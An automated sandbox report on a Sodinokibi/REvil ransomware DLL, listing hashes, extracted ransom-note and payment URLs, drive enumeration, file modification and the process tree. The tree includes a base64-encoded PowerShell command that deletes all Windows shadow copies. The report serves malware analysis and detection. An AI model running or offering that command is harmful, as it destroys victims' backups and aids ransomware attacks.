Analysis
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max time kernel
111s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
30-05-2022 19:37
Static task
static1
Behavioral task
behavioral1
Sample
091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60.dll
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60.dll
Resource
win10v2004-20220414-en
General
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Target
091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60.dll
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Size
164KB
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MD5
fbf9bab6d2a338e3c740daa260cfd93d
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SHA1
e1b4e31ac217f16ab65e4820dfd96646b2b645c9
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SHA256
091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60
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SHA512
d53937d4f28db4b73e0a5a527d06ee9850b925f4d506c58affeee8c27f656cf4ad5a80e7599419ea8d625c5edc2a48d648ef46f292802dcec41073a9313e8484
Malware Config
Extracted
C:\850fqrfauh-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5826064B89A7147F
http://decryptor.cc/5826064B89A7147F
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\O: rundll32.exe -
Drops file in Program Files directory 16 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification \??\c:\program files\ExitDisable.mhtml rundll32.exe File opened for modification \??\c:\program files\ImportGet.asf rundll32.exe File opened for modification \??\c:\program files\ImportSkip.mp3 rundll32.exe File opened for modification \??\c:\program files\MountResolve.dwg rundll32.exe File opened for modification \??\c:\program files\ApproveGet.wmv rundll32.exe File opened for modification \??\c:\program files\ImportSelect.wdp rundll32.exe File opened for modification \??\c:\program files\LockConnect.mhtml rundll32.exe File opened for modification \??\c:\program files\SkipUse.dotm rundll32.exe File created \??\c:\program files (x86)\850fqrfauh-readme.txt rundll32.exe File opened for modification \??\c:\program files\MountCompress.vstm rundll32.exe File opened for modification \??\c:\program files\RepairSync.svgz rundll32.exe File created \??\c:\program files\850fqrfauh-readme.txt rundll32.exe File opened for modification \??\c:\program files\CheckpointCompress.raw rundll32.exe File opened for modification \??\c:\program files\CheckpointPop.snd rundll32.exe File opened for modification \??\c:\program files\MeasureRequest.wma rundll32.exe File opened for modification \??\c:\program files\RestartWait.MTS rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
rundll32.exepowershell.exepid process 5104 rundll32.exe 5104 rundll32.exe 3008 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 5104 rundll32.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeBackupPrivilege 4004 vssvc.exe Token: SeRestorePrivilege 4004 vssvc.exe Token: SeAuditPrivilege 4004 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 788 wrote to memory of 5104 788 rundll32.exe rundll32.exe PID 788 wrote to memory of 5104 788 rundll32.exe rundll32.exe PID 788 wrote to memory of 5104 788 rundll32.exe rundll32.exe PID 5104 wrote to memory of 3008 5104 rundll32.exe powershell.exe PID 5104 wrote to memory of 3008 5104 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\091e19d9a1bad504e4822b738eba268d791d301483228b24803422918dcc9a60.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/3008-134-0x0000000000000000-mapping.dmp
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memory/3008-135-0x000002C455190000-0x000002C4551B2000-memory.dmpFilesize
136KB
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memory/3008-136-0x00007FFA59330000-0x00007FFA59DF1000-memory.dmpFilesize
10.8MB
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memory/3008-137-0x00007FFA59330000-0x00007FFA59DF1000-memory.dmpFilesize
10.8MB
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memory/5104-133-0x0000000000000000-mapping.dmp